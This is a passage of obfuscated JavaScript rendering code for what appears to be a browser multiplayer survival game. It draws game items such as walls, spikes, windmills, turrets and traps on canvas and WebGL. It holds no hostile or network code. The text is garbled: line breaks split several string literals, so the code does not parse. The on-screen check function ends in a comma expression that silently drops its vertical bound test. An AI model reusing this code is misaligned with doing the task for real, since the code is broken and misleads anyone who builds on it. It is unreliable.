0.71);
_0x284b5c.fill();
_0x284b5c.stroke();
_0x284b5c.fillStyle = "#89a54c";
_0x14f80f(0, 0, _0x31ea01.scale * 0.55, _0x284b5c);
_0x284b5c.fillStyle = "#a5c65b";
_0x14f80f(0, 0, _0x31ea01.scale * 0.3, _0x284b5c, true);
} else {
_0x445c99(_0x284b5c, 6, _0x3fce7e.scale, _0x3fce7e.scale * 0.7);
_0x284b5c.fillStyle = _0x32bbe9 ? "#e3f1f4" : "#89a54c";
_0x284b5c.fill();
_0x284b5c.stroke();
_0x284b5c.fillStyle = _0x32bbe9 ? "#6a64af" : "#c15555";
let _0x5a9165;
let _0x158f80 = 4;
let _0x40bd31 = Math.PI * 2 / _0x158f80;
for (let _0x3fe6ad = 0; _0x3fe6ad < _0x158f80; ++_0x3fe6ad) {
_0x5a9165 = _0x4cedba.randInt(_0x3fce7e.scale / 3.5,
_0x3fce7e.scale / 2.3);
_0x14f80f(_0x5a9165 * Math.cos(_0x40bd31 * _0x3fe6ad), _0x5a9165 *
Math.sin(_0x40bd31 * _0x3fe6ad), _0x4cedba.randInt(10, 12), _0x284b5c);
}
}
} else if (_0x31ea01.type == 2 || _0x31ea01.type == 3) {
_0x284b5c.fillStyle = _0x31ea01.type == 2 ? _0x32bbe9 == 2 ?
"#938d77" : "#939393" : "#e0c655";
_0x2a5f25(_0x284b5c, 3, _0x31ea01.scale, _0x31ea01.scale);
_0x284b5c.fill();
_0x284b5c.stroke();
_0x284b5c.shadowBlur = null;
_0x284b5c.shadowColor = null;
_0x284b5c.fillStyle = _0x31ea01.type == 2 ? _0x32bbe9 == 2 ?
"#b2ab90" : "#bcbcbc" : "#ebdca3";
_0x2a5f25(_0x284b5c, 3, _0x31ea01.scale * 0.55, _0x31ea01.scale *
0.65);
_0x284b5c.fill();
}
_0x2ab316 = _0x4dab1b;
_0x99a9b5[_0x3278d5] = _0x2ab316;
}
return _0x2ab316;
}
let _0x313e43 = [];
function _0x46aa09(_0x3e65ba, _0x29f514) {
let _0x2419fe = _0x313e43[_0x3e65ba.id];
if (!_0x2419fe || _0x29f514) {
let _0x3ec931 = !_0x29f514 && _0x10ee51 ? 15 : 0;
let _0x48ad81 = document.createElement("canvas");
let _0x4893e0 = !_0x29f514 && _0x3e65ba.name == "windmill" ?
_0x4b879d.list[4].scale : _0x3e65ba.scale;
_0x48ad81.width = _0x48ad81.height = _0x4893e0 * 2.5 + _0x16e65c +
(_0x4b879d.list[_0x3e65ba.id].spritePadding || 0) + _0x3ec931;
if (_0x124d71.useWebGl) {
let _0x14323a = _0x48ad81.getContext("webgl");
_0x14323a.clearColor(0, 0, 0, 0);
_0x14323a.clear(_0x14323a.COLOR_BUFFER_BIT);
let _0x4f9c71 = _0x14323a.createBuffer();
_0x14323a.bindBuffer(_0x14323a.ARRAY_BUFFER, _0x4f9c71);
function _0xde8ccf(_0x2ab9bc, _0x4a55fc, _0x194982, _0x53771a) {
let _0x453554 = _0x14323a.createShader(_0x14323a.VERTEX_SHADER);
_0x14323a.shaderSource(_0x453554, _0x2ab9bc);
_0x14323a.compileShader(_0x453554);
_0x14323a.getShaderParameter(_0x453554, _0x14323a.COMPILE_STATUS);
let _0x5e2476 = _0x14323a.createShader(_0x14323a.FRAGMENT_SHADER);
_0x14323a.shaderSource(_0x5e2476, _0x4a55fc);
_0x14323a.compileShader(_0x5e2476);
_0x14323a.getShaderParameter(_0x5e2476, _0x14323a.COMPILE_STATUS);
let _0x1b7a65 = _0x14323a.createProgram();
_0x14323a.attachShader(_0x1b7a65, _0x453554);
_0x14323a.attachShader(_0x1b7a65, _0x5e2476);
_0x14323a.linkProgram(_0x1b7a65);
_0x14323a.getProgramParameter(_0x1b7a65, _0x14323a.LINK_STATUS);
_0x14323a.useProgram(_0x1b7a65);
let _0x232ab1 = _0x14323a.getAttribLocation(_0x1b7a65, "vertex");
_0x14323a.enableVertexAttribArray(_0x232ab1);
_0x14323a.vertexAttribPointer(_0x232ab1, 2, _0x14323a.FLOAT, false,
0, 0);
let _0x4f639c = _0x194982.length / 2;
_0x14323a.bufferData(_0x14323a.ARRAY_BUFFER, new
Float32Array(_0x194982), _0x14323a.DYNAMIC_DRAW);
_0x14323a.drawArrays(_0x53771a, 0, _0x4f639c);
}
function _0x4585c9(_0x4e22cf) {
return _0x4e22cf.slice(1).match(/.{1,2}/g).map(_0x422181 =>
parseInt(_0x422181, 16));
}
function _0x31e290(_0x5aea97, _0x37a798, _0x1a1a71) {
return [_0x5aea97 / 255, _0x37a798 / 255, _0x1a1a71 / 255].join(",
");
}
let _0x5372e6 = 100;
for (let _0x144489 = 0; _0x144489 < _0x5372e6; _0x144489++) {
let _0x1ad4a3 = Math.PI * (_0x144489 / (_0x5372e6 / 2));
_0xde8ccf("\n precision mediump float;\n
attribute vec2 vertex;\n void main(void) {\n
gl_Position = vec4(vertex, 0, 1);\n }\n
", "\n precision mediump float;\n
void main(void) {\n gl_FragColor = vec4(" +
_0x31e290(..._0x4585c9("#fff")) + ", 1);\n }\n
", [0 + Math.cos(_0x1ad4a3) * 0.5, 0 + Math.sin(_0x1ad4a3) * 0.5, 0, 0],
_0x14323a.LINE_LOOP);
}
} else {
let _0x36a979 = _0x48ad81.getContext("2d");
_0x36a979.translate(_0x48ad81.width / 2, _0x48ad81.height / 2);
_0x36a979.rotate(_0x29f514 ? 0 : Math.PI / 2);
_0x36a979.strokeStyle = _0x419dfb;
_0x36a979.lineWidth = _0x16e65c * (_0x29f514 ? _0x48ad81.width / 81 :
1);
if (_0x10ee51 && !_0x29f514) {
_0x36a979.shadowBlur = _0x3ec931;
_0x36a979.shadowColor = "rgba(0, 0, 0, " + Math.min(_0x3e65ba.name ==
"pit trap" ? 0.6 : 0.3, _0x3e65ba.alpha) + ")";
}
if (_0x3e65ba.name == "apple") {
_0x36a979.fillStyle = "#c15555";
_0x14f80f(0, 0, _0x3e65ba.scale, _0x36a979);
_0x36a979.fillStyle = "#89a54c";
let _0x3cfe9a = -(Math.PI / 2);
_0xa66dfd(_0x3e65ba.scale * Math.cos(_0x3cfe9a), _0x3e65ba.scale *
Math.sin(_0x3cfe9a), 25, _0x3cfe9a + Math.PI / 2, _0x36a979);
} else if (_0x3e65ba.name == "cookie") {
_0x36a979.fillStyle = "#cca861";
_0x14f80f(0, 0, _0x3e65ba.scale, _0x36a979);
_0x36a979.fillStyle = "#937c4b";
let _0x2568bc = 4;
let _0x178efa = Math.PI * 2 / _0x2568bc;
let _0x11921b;
for (let _0x146ee8 = 0; _0x146ee8 < _0x2568bc; ++_0x146ee8) {
_0x11921b = _0x4cedba.randInt(_0x3e65ba.scale / 2.5,
_0x3e65ba.scale / 1.7);
_0x14f80f(_0x11921b * Math.cos(_0x178efa * _0x146ee8), _0x11921b *
Math.sin(_0x178efa * _0x146ee8), _0x4cedba.randInt(4, 5), _0x36a979, true);
}
} else if (_0x3e65ba.name == "cheese") {
_0x36a979.fillStyle = "#f4f3ac";
_0x14f80f(0, 0, _0x3e65ba.scale, _0x36a979);
_0x36a979.fillStyle = "#c3c28b";
let _0x8a9b27 = 4;
let _0x20e1a7 = Math.PI * 2 / _0x8a9b27;
let _0xd2db4;
for (let _0x45e257 = 0; _0x45e257 < _0x8a9b27; ++_0x45e257) {
_0xd2db4 = _0x4cedba.randInt(_0x3e65ba.scale / 2.5, _0x3e65ba.scale
/ 1.7);
_0x14f80f(_0xd2db4 * Math.cos(_0x20e1a7 * _0x45e257), _0xd2db4 *
Math.sin(_0x20e1a7 * _0x45e257), _0x4cedba.randInt(4, 5), _0x36a979, true);
}
} else if (_0x3e65ba.name == "wood wall" || _0x3e65ba.name == "stone
wall" || _0x3e65ba.name == "castle wall") {
_0x36a979.fillStyle = _0x3e65ba.name == "castle wall" ? "#83898e" :
_0x3e65ba.name == "wood wall" ? "#a5974c" : "#939393";
let _0x20eac0 = _0x3e65ba.name == "castle wall" ? 4 : 3;
_0x2a5f25(_0x36a979, _0x20eac0, _0x3e65ba.scale * 1.1,
_0x3e65ba.scale * 1.1);
_0x36a979.fill();
_0x36a979.stroke();
_0x36a979.fillStyle = _0x3e65ba.name == "castle wall" ? "#9da4aa" :
_0x3e65ba.name == "wood wall" ? "#c9b758" : "#bcbcbc";
_0x2a5f25(_0x36a979, _0x20eac0, _0x3e65ba.scale * 0.65,
_0x3e65ba.scale * 0.65);
_0x36a979.fill();
} else if (_0x3e65ba.name == "spikes" || _0x3e65ba.name == "greater
spikes" || _0x3e65ba.name == "poison spikes" || _0x3e65ba.name == "spinning
spikes") {
_0x36a979.fillStyle = _0x3e65ba.name == "poison spikes" ? "#7b935d" :
"#939393";
let _0x16bdb4 = _0x3e65ba.scale * 0.6;
_0x2a5f25(_0x36a979, _0x3e65ba.name == "spikes" ? 5 : 6,
_0x3e65ba.scale, _0x16bdb4);
_0x36a979.fill();
_0x36a979.stroke();
_0x36a979.fillStyle = "#a5974c";
_0x14f80f(0, 0, _0x16bdb4, _0x36a979);
_0x36a979.fillStyle = "#c9b758";
_0x14f80f(0, 0, _0x16bdb4 / 2, _0x36a979, true);
} else if (_0x3e65ba.name == "windmill" || _0x3e65ba.name == "faster
windmill" || _0x3e65ba.name == "power mill") {
_0x36a979.fillStyle = "#a5974c";
_0x14f80f(0, 0, _0x4893e0, _0x36a979);
_0x36a979.fillStyle = "#c9b758";
_0x36c3dd(0, 0, _0x4893e0 * 1.5, 29, 4, _0x36a979);
_0x36a979.fillStyle = "#a5974c";
_0x14f80f(0, 0, _0x4893e0 * 0.5, _0x36a979);
} else if (_0x3e65ba.name == "mine") {
_0x36a979.fillStyle = "#939393";
_0x2a5f25(_0x36a979, 3, _0x3e65ba.scale, _0x3e65ba.scale);
_0x36a979.fill();
_0x36a979.stroke();
_0x36a979.fillStyle = "#bcbcbc";
_0x2a5f25(_0x36a979, 3, _0x3e65ba.scale * 0.55, _0x3e65ba.scale *
0.65);
_0x36a979.fill();
} else if (_0x3e65ba.name == "sapling") {
for (let _0x45b3ee = 0; _0x45b3ee < 2; ++_0x45b3ee) {
let _0x5db2d9 = _0x3e65ba.scale * (!_0x45b3ee ? 1 : 0.5);
_0x2a5f25(_0x36a979, 7, _0x5db2d9, _0x5db2d9 * 0.7);
_0x36a979.fillStyle = !_0x45b3ee ? "#9ebf57" : "#b4db62";
_0x36a979.fill();
if (!_0x45b3ee) {
_0x36a979.stroke();
}
}
} else if (_0x3e65ba.name == "pit trap") {
_0x36a979.fillStyle = "#a5974c";
_0x2a5f25(_0x36a979, 3, _0x3e65ba.scale * 1.1, _0x3e65ba.scale *
1.1);
_0x36a979.fill();
_0x36a979.stroke();
_0x36a979.fillStyle = _0x419dfb;
_0x2a5f25(_0x36a979, 3, _0x3e65ba.scale * 0.65, _0x3e65ba.scale *
0.65);
_0x36a979.fill();
} else if (_0x3e65ba.name == "boost pad") {
_0x36a979.fillStyle = "#7e7f82";
_0x4031f7(0, 0, _0x3e65ba.scale * 2, _0x3e65ba.scale * 2, _0x36a979);
_0x36a979.fill();
_0x36a979.stroke();
_0x36a979.fillStyle = "#dbd97d";
_0x549ce6(_0x3e65ba.scale * 1, _0x36a979);
} else if (_0x3e65ba.name == "turret") {
_0x36a979.fillStyle = "#a5974c";
_0x14f80f(0, 0, _0x3e65ba.scale, _0x36a979);
_0x36a979.fill();
_0x36a979.stroke();
_0x36a979.fillStyle = "#939393";
let _0x4aa0b7 = 50;
_0x4031f7(0, -_0x4aa0b7 / 2, _0x3e65ba.scale * 0.9, _0x4aa0b7,
_0x36a979);
_0x14f80f(0, 0, _0x3e65ba.scale * 0.6, _0x36a979);
_0x36a979.fill();
_0x36a979.stroke();
} else if (_0x3e65ba.name == "platform") {
_0x36a979.fillStyle = "#cebd5f";
let _0x51b773 = 4;
let _0x4f6fd9 = _0x3e65ba.scale * 2;
let _0x576fdc = _0x4f6fd9 / _0x51b773;
let _0x2926cc = -(_0x3e65ba.scale / 2);
for (let _0x1e429a = 0; _0x1e429a < _0x51b773; ++_0x1e429a) {
_0x4031f7(_0x2926cc - _0x576fdc / 2, 0, _0x576fdc, _0x3e65ba.scale
* 2, _0x36a979);
_0x36a979.fill();
_0x36a979.stroke();
_0x2926cc += _0x4f6fd9 / _0x51b773;
}
} else if (_0x3e65ba.name == "healing pad") {
_0x36a979.fillStyle = "#7e7f82";
_0x4031f7(0, 0, _0x3e65ba.scale * 2, _0x3e65ba.scale * 2, _0x36a979);
_0x36a979.fill();
_0x36a979.stroke();
_0x36a979.fillStyle = "#db6e6e";
_0x36c3dd(0, 0, _0x3e65ba.scale * 0.65, 20, 4, _0x36a979, true);
} else if (_0x3e65ba.name == "spawn pad") {
_0x36a979.fillStyle = "#7e7f82";
_0x4031f7(0, 0, _0x3e65ba.scale * 2, _0x3e65ba.scale * 2, _0x36a979);
_0x36a979.fill();
_0x36a979.stroke();
_0x36a979.fillStyle = "#71aad6";
_0x14f80f(0, 0, _0x3e65ba.scale * 0.6, _0x36a979);
} else if (_0x3e65ba.name == "blocker") {
_0x36a979.fillStyle = "#7e7f82";
_0x14f80f(0, 0, _0x3e65ba.scale, _0x36a979);
_0x36a979.fill();
_0x36a979.stroke();
_0x36a979.rotate(Math.PI / 4);
_0x36a979.fillStyle = "#db6e6e";
_0x36c3dd(0, 0, _0x3e65ba.scale * 0.65, 20, 4, _0x36a979, true);
} else if (_0x3e65ba.name == "teleporter") {
_0x36a979.fillStyle = "#7e7f82";
_0x14f80f(0, 0, _0x3e65ba.scale, _0x36a979);
_0x36a979.fill();
_0x36a979.stroke();
_0x36a979.rotate(Math.PI / 4);
_0x36a979.fillStyle = "#d76edb";
_0x14f80f(0, 0, _0x3e65ba.scale * 0.5, _0x36a979, true);
}
}
_0x2419fe = _0x48ad81;
if (!_0x29f514) {
_0x313e43[_0x3e65ba.id] = _0x2419fe;
}
}
return _0x2419fe;
}
function _0x3ea63f(_0x1f4b75, _0x465d60, _0x1c74f1) {
let _0x151fc2 = _0x4390c3;
let _0x4be407 = _0x1f4b75.name == "windmill" ? _0x4b879d.list[4].scale :
_0x1f4b75.scale;
_0x151fc2.save();
_0x151fc2.translate(_0x465d60, _0x1c74f1);
_0x151fc2.rotate(_0x1f4b75.dir);
_0x151fc2.strokeStyle = _0x419dfb;
_0x151fc2.lineWidth = _0x16e65c;
if (_0x1f4b75.name == "apple") {
_0x151fc2.fillStyle = "#c15555";
_0x14f80f(0, 0, _0x1f4b75.scale, _0x151fc2);
_0x151fc2.fillStyle = "#89a54c";
let _0x1c3ab9 = -(Math.PI / 2);
_0xa66dfd(_0x1f4b75.scale * Math.cos(_0x1c3ab9), _0x1f4b75.scale *
Math.sin(_0x1c3ab9), 25, _0x1c3ab9 + Math.PI / 2, _0x151fc2);
} else if (_0x1f4b75.name == "cookie") {
_0x151fc2.fillStyle = "#cca861";
_0x14f80f(0, 0, _0x1f4b75.scale, _0x151fc2);
_0x151fc2.fillStyle = "#937c4b";
let _0x534730 = 4;
let _0x580c3b = Math.PI * 2 / _0x534730;
let _0x56313f;
for (let _0x2581f7 = 0; _0x2581f7 < _0x534730; ++_0x2581f7) {
_0x56313f = _0x4cedba.randInt(_0x1f4b75.scale / 2.5, _0x1f4b75.scale /
1.7);
_0x14f80f(_0x56313f * Math.cos(_0x580c3b * _0x2581f7), _0x56313f *
Math.sin(_0x580c3b * _0x2581f7), _0x4cedba.randInt(4, 5), _0x151fc2, true);
}
} else if (_0x1f4b75.name == "cheese") {
_0x151fc2.fillStyle = "#f4f3ac";
_0x14f80f(0, 0, _0x1f4b75.scale, _0x151fc2);
_0x151fc2.fillStyle = "#c3c28b";
let _0x4a4910 = 4;
let _0x54e167 = Math.PI * 2 / _0x4a4910;
let _0xbad201;
for (let _0x25f738 = 0; _0x25f738 < _0x4a4910; ++_0x25f738) {
_0xbad201 = _0x4cedba.randInt(_0x1f4b75.scale / 2.5, _0x1f4b75.scale /
1.7);
_0x14f80f(_0xbad201 * Math.cos(_0x54e167 * _0x25f738), _0xbad201 *
Math.sin(_0x54e167 * _0x25f738), _0x4cedba.randInt(4, 5), _0x151fc2, true);
}
} else if (_0x1f4b75.name == "wood wall" || _0x1f4b75.name == "stone wall"
|| _0x1f4b75.name == "castle wall") {
_0x151fc2.fillStyle = _0x1f4b75.name == "castle wall" ? "#83898e" :
_0x1f4b75.name == "wood wall" ? "#a5974c" : "#939393";
let _0x3006b6 = _0x1f4b75.name == "castle wall" ? 4 : 3;
_0x2a5f25(_0x151fc2, _0x3006b6, _0x1f4b75.scale * 1.1, _0x1f4b75.scale *
1.1);
_0x151fc2.fill();
_0x151fc2.stroke();
_0x151fc2.fillStyle = _0x1f4b75.name == "castle wall" ? "#9da4aa" :
_0x1f4b75.name == "wood wall" ? "#c9b758" : "#bcbcbc";
_0x2a5f25(_0x151fc2, _0x3006b6, _0x1f4b75.scale * 0.65, _0x1f4b75.scale *
0.65);
_0x151fc2.fill();
} else if (_0x1f4b75.name == "spikes" || _0x1f4b75.name == "greater spikes"
|| _0x1f4b75.name == "poison spikes" || _0x1f4b75.name == "spinning spikes") {
_0x151fc2.fillStyle = _0x1f4b75.name == "poison spikes" ? "#7b935d" :
"#939393";
let _0x38a402 = _0x1f4b75.scale * 0.6;
_0x2a5f25(_0x151fc2, _0x1f4b75.name == "spikes" ? 5 : 6, _0x1f4b75.scale,
_0x38a402);
_0x151fc2.fill();
_0x151fc2.stroke();
_0x151fc2.fillStyle = "#a5974c";
_0x14f80f(0, 0, _0x38a402, _0x151fc2);
_0x151fc2.fillStyle = "#c9b758";
_0x14f80f(0, 0, _0x38a402 / 2, _0x151fc2, true);
} else if (_0x1f4b75.name == "windmill" || _0x1f4b75.name == "faster
windmill" || _0x1f4b75.name == "power mill") {
_0x151fc2.fillStyle = "#a5974c";
_0x14f80f(0, 0, _0x4be407, _0x151fc2);
_0x151fc2.fillStyle = "#c9b758";
_0x36c3dd(0, 0, _0x4be407 * 1.5, 29, 4, _0x151fc2);
_0x151fc2.fillStyle = "#a5974c";
_0x14f80f(0, 0, _0x4be407 * 0.5, _0x151fc2);
} else if (_0x1f4b75.name == "mine") {
_0x151fc2.fillStyle = "#939393";
_0x2a5f25(_0x151fc2, 3, _0x1f4b75.scale, _0x1f4b75.scale);
_0x151fc2.fill();
_0x151fc2.stroke();
_0x151fc2.fillStyle = "#bcbcbc";
_0x2a5f25(_0x151fc2, 3, _0x1f4b75.scale * 0.55, _0x1f4b75.scale * 0.65);
_0x151fc2.fill();
} else if (_0x1f4b75.name == "sapling") {
for (let _0x5b7e3a = 0; _0x5b7e3a < 2; ++_0x5b7e3a) {
let _0x434b43 = _0x1f4b75.scale * (!_0x5b7e3a ? 1 : 0.5);
_0x2a5f25(_0x151fc2, 7, _0x434b43, _0x434b43 * 0.7);
_0x151fc2.fillStyle = !_0x5b7e3a ? "#9ebf57" : "#b4db62";
_0x151fc2.fill();
if (!_0x5b7e3a) {
_0x151fc2.stroke();
}
}
} else if (_0x1f4b75.name == "pit trap") {
_0x151fc2.fillStyle = "#a5974c";
_0x2a5f25(_0x151fc2, 3, _0x1f4b75.scale * 1.1, _0x1f4b75.scale * 1.1);
_0x151fc2.fill();
_0x151fc2.stroke();
_0x151fc2.fillStyle = _0x419dfb;
_0x2a5f25(_0x151fc2, 3, _0x1f4b75.scale * 0.65, _0x1f4b75.scale * 0.65);
_0x151fc2.fill();
} else if (_0x1f4b75.name == "boost pad") {
_0x151fc2.fillStyle = "#7e7f82";
_0x4031f7(0, 0, _0x1f4b75.scale * 2, _0x1f4b75.scale * 2, _0x151fc2);
_0x151fc2.fill();
_0x151fc2.stroke();
_0x151fc2.fillStyle = "#dbd97d";
_0x549ce6(_0x1f4b75.scale * 1, _0x151fc2);
} else if (_0x1f4b75.name == "turret") {
_0x151fc2.fillStyle = "#a5974c";
_0x14f80f(0, 0, _0x1f4b75.scale, _0x151fc2);
_0x151fc2.fill();
_0x151fc2.stroke();
_0x151fc2.fillStyle = "#939393";
let _0x18b6d6 = 50;
_0x4031f7(0, -_0x18b6d6 / 2, _0x1f4b75.scale * 0.9, _0x18b6d6,
_0x151fc2);
_0x14f80f(0, 0, _0x1f4b75.scale * 0.6, _0x151fc2);
_0x151fc2.fill();
_0x151fc2.stroke();
} else if (_0x1f4b75.name == "platform") {
_0x151fc2.fillStyle = "#cebd5f";
let _0x8b2beb = 4;
let _0x59b8cf = _0x1f4b75.scale * 2;
let _0x177c42 = _0x59b8cf / _0x8b2beb;
let _0x50eab2 = -(_0x1f4b75.scale / 2);
for (let _0x486cc5 = 0; _0x486cc5 < _0x8b2beb; ++_0x486cc5) {
_0x4031f7(_0x50eab2 - _0x177c42 / 2, 0, _0x177c42, _0x1f4b75.scale * 2,
_0x151fc2);
_0x151fc2.fill();
_0x151fc2.stroke();
_0x50eab2 += _0x59b8cf / _0x8b2beb;
}
} else if (_0x1f4b75.name == "healing pad") {
_0x151fc2.fillStyle = "#7e7f82";
_0x4031f7(0, 0, _0x1f4b75.scale * 2, _0x1f4b75.scale * 2, _0x151fc2);
_0x151fc2.fill();
_0x151fc2.stroke();
_0x151fc2.fillStyle = "#db6e6e";
_0x36c3dd(0, 0, _0x1f4b75.scale * 0.65, 20, 4, _0x151fc2, true);
} else if (_0x1f4b75.name == "spawn pad") {
_0x151fc2.fillStyle = "#7e7f82";
_0x4031f7(0, 0, _0x1f4b75.scale * 2, _0x1f4b75.scale * 2, _0x151fc2);
_0x151fc2.fill();
_0x151fc2.stroke();
_0x151fc2.fillStyle = "#71aad6";
_0x14f80f(0, 0, _0x1f4b75.scale * 0.6, _0x151fc2);
} else if (_0x1f4b75.name == "blocker") {
_0x151fc2.fillStyle = "#7e7f82";
_0x14f80f(0, 0, _0x1f4b75.scale, _0x151fc2);
_0x151fc2.fill();
_0x151fc2.stroke();
_0x151fc2.rotate(Math.PI / 4);
_0x151fc2.fillStyle = "#db6e6e";
_0x36c3dd(0, 0, _0x1f4b75.scale * 0.65, 20, 4, _0x151fc2, true);
} else if (_0x1f4b75.name == "teleporter") {
_0x151fc2.fillStyle = "#7e7f82";
_0x14f80f(0, 0, _0x1f4b75.scale, _0x151fc2);
_0x151fc2.fill();
_0x151fc2.stroke();
_0x151fc2.rotate(Math.PI / 4);
_0x151fc2.fillStyle = "#d76edb";
_0x14f80f(0, 0, _0x1f4b75.scale * 0.5, _0x151fc2, true);
}
_0x151fc2.restore();
}
let _0x4de637 = [];
function _0x4e5932(_0x4a8cd3) {
let _0x3ca8d4 = _0x4de637[_0x4a8cd3.id];
if (!_0x3ca8d4) {
let _0x487df5 = _0x10ee51 ? 15 : 0;
let _0x2b3d8a = document.createElement("canvas");
_0x2b3d8a.width = _0x2b3d8a.height = _0x4a8cd3.scale * 2.5 + _0x16e65c +
(_0x4b879d.list[_0x4a8cd3.id].spritePadding || 0) + _0x487df5;
let _0x154b91 = _0x2b3d8a.getContext("2d");
_0x154b91.translate(_0x2b3d8a.width / 2, _0x2b3d8a.height / 2);
_0x154b91.rotate(Math.PI / 2);
_0x154b91.strokeStyle = _0x419dfb;
_0x154b91.lineWidth = _0x16e65c;
if (_0x10ee51) {
_0x154b91.shadowBlur = _0x487df5;
_0x154b91.shadowColor = "rgba(0, 0, 0, " + Math.min(0.3,
_0x4a8cd3.alpha) + ")";
}
if (_0x4a8cd3.name == "spikes" || _0x4a8cd3.name == "greater spikes" ||
_0x4a8cd3.name == "poison spikes" || _0x4a8cd3.name == "spinning spikes") {
_0x154b91.fillStyle = _0x4a8cd3.name == "poison spikes" ? "#7b935d" :
"#939393";
let _0x2ca1d6 = _0x4a8cd3.scale * 0.6;
_0x2a5f25(_0x154b91, _0x4a8cd3.name == "spikes" ? 5 : 6,
_0x4a8cd3.scale, _0x2ca1d6);
_0x154b91.fill();
_0x154b91.stroke();
_0x154b91.fillStyle = "#a5974c";
_0x14f80f(0, 0, _0x2ca1d6, _0x154b91);
_0x154b91.fillStyle = "#cc5151";
_0x14f80f(0, 0, _0x2ca1d6 / 2, _0x154b91, true);
} else if (_0x4a8cd3.name == "pit trap") {
_0x154b91.fillStyle = "#a5974c";
_0x2a5f25(_0x154b91, 3, _0x4a8cd3.scale * 1.1, _0x4a8cd3.scale * 1.1);
_0x154b91.fill();
_0x154b91.stroke();
_0x154b91.fillStyle = "#cc5151";
_0x2a5f25(_0x154b91, 3, _0x4a8cd3.scale * 0.65, _0x4a8cd3.scale *
0.65);
_0x154b91.fill();
}
_0x3ca8d4 = _0x2b3d8a;
_0x4de637[_0x4a8cd3.id] = _0x3ca8d4;
}
return _0x3ca8d4;
}
function _0x46db75(_0x10896d, _0x5394f0, _0x5c7bb8, _0xc7c7b0) {
_0x5394f0.lineWidth = _0x16e65c;
_0x5394f0.globalAlpha = 1;
_0x5394f0.strokeStyle = _0x419dfb;
_0x5394f0.save();
_0x5394f0.translate(_0x5c7bb8, _0xc7c7b0);
_0x5394f0.rotate(_0x10896d.dir);
if (_0x10896d.name == "wood wall" || _0x10896d.name == "stone wall" ||
_0x10896d.name == "castle wall") {
let _0x541133 = _0x10896d.name == "castle wall" ? 4 : 3;
_0x1cb726(_0x5394f0, _0x541133, _0x10896d.scale * 1.1, _0x10896d.scale *
1.1);
_0x5394f0.stroke();
} else if (_0x10896d.name == "spikes" || _0x10896d.name == "greater spikes"
|| _0x10896d.name == "poison spikes" || _0x10896d.name == "spinning spikes") {
let _0x38eb31 = _0x10896d.scale * 0.6;
_0x1cb726(_0x5394f0, _0x10896d.name == "spikes" ? 5 : 6, _0x10896d.scale,
_0x38eb31);
_0x5394f0.stroke();
} else if (_0x10896d.name == "windmill" || _0x10896d.name == "faster
windmill" || _0x10896d.name == "power mill") {
_0x2035e2(0, 0, _0x10896d.scale, _0x5394f0, false, true);
} else if (_0x10896d.name == "mine") {
_0x1cb726(_0x5394f0, 3, _0x10896d.scale, _0x10896d.scale);
_0x5394f0.stroke();
} else if (_0x10896d.name == "sapling") {
let _0x2292fa = _0x10896d.scale * 0.7;
_0x1cb726(_0x5394f0, 7, _0x10896d.scale, _0x2292fa);
_0x5394f0.stroke();
} else if (_0x10896d.name == "pit trap") {
_0x1cb726(_0x5394f0, 3, _0x10896d.scale * 1.1, _0x10896d.scale * 1.1);
_0x5394f0.stroke();
} else if (_0x10896d.name == "boost pad") {
_0x34c642(0, 0, _0x10896d.scale * 2, _0x10896d.scale * 2, _0x5394f0,
false, true);
} else if (_0x10896d.name == "turret") {
_0x2035e2(0, 0, _0x10896d.scale, _0x5394f0, false, true);
} else if (_0x10896d.name == "platform") {
_0x34c642(0, 0, _0x10896d.scale * 2, _0x10896d.scale * 2, _0x5394f0,
false, true);
} else if (_0x10896d.name == "healing pad") {
_0x34c642(0, 0, _0x10896d.scale * 2, _0x10896d.scale * 2, _0x5394f0,
false, true);
} else if (_0x10896d.name == "spawn pad") {
_0x34c642(0, 0, _0x10896d.scale * 2, _0x10896d.scale * 2, _0x5394f0,
false, true);
} else if (_0x10896d.name == "blocker") {
_0x2035e2(0, 0, _0x10896d.scale, _0x5394f0, false, true);
} else if (_0x10896d.name == "teleporter") {
_0x2035e2(0, 0, _0x10896d.scale, _0x5394f0, false, true);
}
_0x5394f0.restore();
}
function _0x397d84(_0x56a919, _0xd622d7, _0x5c8f5a) {
return _0x56a919 + _0x5c8f5a >= 0 && _0x56a919 - _0x5c8f5a <= _0x2c4533 &&
_0xd622d7 + _0x5c8f5a >= 0 && (_0xd622d7, _0x5c8f5a, _0xef4b05);
}
function _0x512673(_0x4d2a54, _0x5050ef, _0x42f06e) {
let _0x587460;
let _0x5b6c38;
let _0x4ee335;
_0x57e617.forEach(_0x58860d => {
_0x3fce7e = _0x58860d;
if (_0x3fce7e.alive) {
_0x5b6c38 = _0x3fce7e.x + _0x3fce7e.xWiggle - _0x5050ef;
_0x4ee335 = _0x3fce7e.y + _0x3fce7e.yWiggle - _0x42f06e;
if (_0x4d2a54 == 0) {
_0x3fce7e.update(_0x32bba9);
}
_0x4390c3.globalAlpha = _0x3fce7e.alpha;
if (_0x3fce7e.layer == _0x4d2a54 && _0x397d84(_0x5b6c38, _0x4ee335,
_0x3fce7e.scale + (_0x3fce7e.blocker || 0))) {
if (_0x3fce7e.isItem) {
if ((_0x3fce7e.dmg || _0x3fce7e.trap) && !
_0x3fce7e.isTeamObject(_0x21c5b5)) {
_0x587460 = _0x4e5932(_0x3fce7e);
} else {
_0x587460 = _0x46aa09(_0x3fce7e);
}
_0x4390c3.save();
_0x4390c3.translate(_0x5b6c38, _0x4ee335);
_0x4390c3.rotate(_0x3fce7e.dir);
if (!_0x3fce7e.active) {
_0x4390c3.scale(_0x3fce7e.visScale / _0x3fce7e.scale,
_0x3fce7e.visScale / _0x3fce7e.scale);
}
_0x4390c3.drawImage(_0x587460, -(_0x587460.width / 2), -
(_0x587460.height / 2));
if (_0x3fce7e.blocker) {
_0x4390c3.strokeStyle = "#db6e6e";
_0x4390c3.globalAlpha = 0.3;
_0x4390c3.lineWidth = 6;
_0x14f80f(0, 0, _0x3fce7e.blocker, _0x4390c3, false, true);
}
_0x4390c3.restore();
} else {
_0x587460 = _0x18fc88(_0x3fce7e);
_0x4390c3.drawImage(_0x587460, _0x5b6c38 - _0x587460.width / 2,
_0x4ee335 - _0x587460.height / 2);
}
}
if (_0x4d2a54 == 3 && !_0x4f4659) {
if (_0x3fce7e.health < _0x3fce7e.maxHealth) {
_0x4390c3.fillStyle = _0x37e085;
_0x4390c3.roundRect(_0x5b6c38 - _0x124d71.healthBarWidth / 2 -
_0x124d71.healthBarPad, _0x4ee335 - _0x124d71.healthBarPad,
_0x124d71.healthBarWidth + _0x124d71.healthBarPad * 2, 17, 8);
_0x4390c3.fill();
